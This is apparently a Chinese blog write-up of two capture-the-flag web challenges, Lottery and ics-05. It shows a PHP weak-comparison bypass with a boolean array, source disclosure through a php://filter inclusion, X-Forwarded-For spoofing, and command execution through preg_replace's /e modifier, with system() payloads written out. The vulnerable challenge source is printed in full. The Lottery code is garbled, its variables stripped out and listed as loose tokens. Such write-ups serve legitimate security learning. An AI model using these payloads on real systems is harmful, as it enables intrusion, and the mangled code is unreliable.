跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客GitHub 精选镜像工具UI配色美学隐私政策关于联系
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
PHP

攻防世界 Web 题解:Lottery 与 ics-05 漏洞分析

攻防世界的两个 Web 安全题目。Lottery 题目通过 PHP 弱类型比较漏洞,将数字数组替换为布尔值 true 绕过验证获取奖金。ics-05 题目利用文件包含读取源码,结合 IP 白名单限制和 preg_replace 函数的/e 修饰符执行系统命令,最终获取 flag。涉及知识点包括弱类型绕过、伪协议文件读取及正则表达式注入。

Kubernet发布于 2026/4/5更新于 2026/5/2218 浏览
攻防世界 Web 题解:Lottery 与 ics-05 漏洞分析

Lottery

打开靶场后发现加载缓慢,并提供了源码。该功能类似猜数字游戏,选对 7 个号码即可得到相应奖励。

注册后输入任意 7 个数字发现未中奖。尝试访问网站其他功能发现获取 flag 需要对应余额。

尝试使用抓包工具修改余额,但刷新页面后余额恢复原状,无法直接通过前端修改。

检查猜数字页面的 api.php 代码审计。核心逻辑中随机生成七位数字(random_win_nums),赋值给$win_number。判断传入数字与随机生成数字是否相等时使用了两个等号(==)进行弱类型比较。

代码如下

//部分代码
function random_num(){ 
    do { 
        $byte = openssl_random_pseudo_bytes(10, $cstrong); 
        $num = ord($byte); 
    } while ($num >= 250); 
    if(!$cstrong){ response_error('server need be checked, tell admin'); } 
    $num /= 25; 
    return strval(floor($num)); 
} 
function random_win_nums(){ 
    $result = ''; 
    for($i=0; $i<7; $i++){ 
        $result .= random_num(); 
    } 
    return $result; 
} 
function buy(){ 
    (); 
    (); 
     = []; 
     = []; 
     = (); 
     = ; 
    (=; <; ++){ 
        ([] == []){ 
            ++; 
        } 
    } 
     () { 
         :  = ; ; 
         :  = ; ; 
         :  = ; ; 
         :  = ; ; 
         :  = ; ; 
         :  = ; ; 
        :  = ; ; 
    } 
     +=  - ; 
    [] = ; 
    ([=>,=>, =>, =>, =>]); 
} 
$req
require_registered
require_min_money
2
$money
$_SESSION
'money'
$numbers
$req
'numbers'
$win_numbers
random_win_nums
$same_count
0
for
$i
0
$i
7
$i
if
$numbers
$i
$win_numbers
$i
$same_count
switch
$same_count
case
2
$prize
5
break
case
3
$prize
20
break
case
4
$prize
300
break
case
5
$prize
1800
break
case
6
$prize
200000
break
case
7
$prize
5000000
break
default
$prize
0
break
$money
$prize
2
$_SESSION
'money'
$money
response
'status'
'ok'
'numbers'
$numbers
'win_numbers'
$win_numbers
'money'
$money
'prize'
$prize

利用 PHP 的弱类型比较特性,将 numbers 字段改为布尔值 true 数组。

直接将 numbers 字段改为 [true,true,true,true,true,true,true]

成功利用弱类型绕过验证获得奖金,最终拿到 flag。

ics-05

打开页面显示设备维护中心,点击链接发现只有特定页面可访问。查看源代码发现一个 href 链接。

修改参数为 index.php 回显 Ok,说明存在文件包含漏洞。读取文件使用伪协议。

php://filter/read=convert.base64-encode/resource=index.php

解密 base64 后观察代码。若 IP 为 127.0.0.1 则为管理员模式,且存在 preg_replace 方法。当 pattern 第一个参数的结尾包含/e 修正符时,第二个参数会被当做 PHP 代码执行。

修改 IP 为 admin,添加三个参数。

?pat=/heihei/e&rep=system('find+-name+flag')&sub=heihei

需要使用 + 置换空格。成功找到 flag.php,但 flag 不在页面渲染中显示。

?pat=/heihei/e&rep=system('cat+./s3chahahaDir/flag/flag.php')&sub=heihei

成功拿到 flag。

解密后的 index.php 代码

<?php error_reporting(0); @session_start(); posix_setuid(1000); ?> 
<!DOCTYPE HTML> 
<html> 
<head> 
<meta charset="utf-8"> 
<meta name="renderer" content="webkit"> 
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> 
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> 
<link rel="stylesheet" href="layui/css/layui.css" media="all"> 
<title>设备维护中心</title> 
<meta charset="utf-8"> 
</head> 
<body> 
<ul> 
<li><a href="?page=index">云平台设备维护中心</a></li> 
</ul> 
<fieldset> 
<legend>设备列表</legend> 
</fieldset> 
<table></table> 
<script type="text/html"> <!-- 这里的 checked 的状态只是演示 --> 
<input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开 | 关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}> 
</script> 
<script src="layui/layui.js" charset="utf-8"></script> 
<script> layui.use('table', function() { var table = layui.table, form = layui.form; table.render({ elem: '#test', url: '/somrthing.json', cellMinWidth: 80, cols: [ [ { type: 'numbers' }, { type: 'checkbox' }, { field: 'id', title: 'ID', width: 100, unresize: true, sort: true }, { field: 'name', title: '设备名', templet: '#nameTpl' }, { field: 'area', title: '区域' }, { field: 'status', title: '维护状态', minWidth: 120, sort: true }, { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true } ] ], page: true }); }); </script> 
<script> layui.use('element', function() { var element = layui.element; //导航的 hover 效果、二级菜单等功能,需要依赖 element 模块 //监听导航点击 element.on('nav(demo)', function(elem) { //console.log(elem) layer.msg(elem.text()); }); }); </script> 
<?php $page = $_GET[page]; if (isset($page)) { if (ctype_alnum($page)) { ?> <br /><br /><br /><br /> <div> <p><?php echo $page; die();?></p> <br /><br /><br /><br /> <?php }else{ ?> <br /><br /><br /><br /> <div> <p> <?php if (strpos($page, 'input') > 0) { die(); } if (strpos($page, 'ta:text') > 0) { die(); } if (strpos($page, 'text') > 0) { die(); } if ($page === 'index.php') { die('Ok'); } include($page); die(); ?> </p> <br /><br /><br /><br /> <?php }} //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试 if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { echo "<br >Welcome My Admin ! <br >"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } } ?> 
</body> 
</html>

总结

本文通过攻防世界中的两个 Web 题目(Lottery 和 ics-05)演示了如何利用代码审计和漏洞挖掘技术获取 flag。在 Lottery 题目中,通过分析网站的猜数字游戏功能,发现使用 PHP 的弱类型比较漏洞,成功绕过验证并获取奖金和 flag。在 ics-05 题目中,通过修改 IP 地址和利用 PHP 的 preg_replace 函数执行系统命令,成功读取并解密 index.php 文件,最终获取 flag。

目录

  1. Lottery
  2. ics-05
  3. 总结
  • 💰 8折买阿里云服务器限时8折了解详情
  • Magick API 一键接入全球大模型注册送1000万token查看
  • 🤖 一键搭建Deepseek满血版了解详情
  • 一键打造专属AI 智能体了解详情
极客日志微信公众号二维码

微信扫一扫,关注极客日志

微信公众号「极客日志V2」,在微信中扫描左侧二维码关注。展示文案:极客日志V2 zeeklog

更多推荐文章

查看全部
  • HarmonyOS6 RcList 组件事件处理机制与实战示例
  • Android 开发核心面试题与答案详解:Java、框架及 Flutter 篇
  • Linux 常用命令详解与系统管理实战指南
  • Linux truncate 命令实战:清理日志与调整大小
  • 前端实现液态玻璃效果
  • 字符串算法基础:暴力搜索、KMP 与编辑距离
  • Linux du 命令详解:精准探查文件和目录的磁盘占用
  • OpenWebUI 通过 Pipeline 对接 Dify Workflow
  • 基于 OpenClaw 与微软开源组件搭建 AI 量化系统实战
  • FPGA 实现 CAN 总线原理与 Verilog 代码详解
  • Neo4j 图谱可视化:节点与关系颜色定制方法
  • 程序员面试实战:HR 沟通技巧与核心技术考点解析
  • 前端面试核心考点与高频题库汇总
  • 基于 OpenClaw 搭建 QQ AI 办公机器人:关键词触发与邮件集成
  • 医疗 AI 时代生物医学 Go 编程:高性能计算与精准医疗案例分析
  • 网络安全零基础入门学习路线与规划指南
  • 本地部署 Wan2.1 视频生成模型及远程访问指南
  • VibeThinker-1.5B 快速部署:3 分钟搭建编程助手
  • Rust WebAssembly 与 Three.js 结合的 3D 数据可视化实战:高性能粒子系统
  • VSCode 关闭 GitHub Copilot 的两种方案

相关免费在线工具

  • curl 转代码

    解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online

  • Markdown转HTML

    将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online

  • HTML转Markdown

    将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online

  • JSON 压缩

    通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online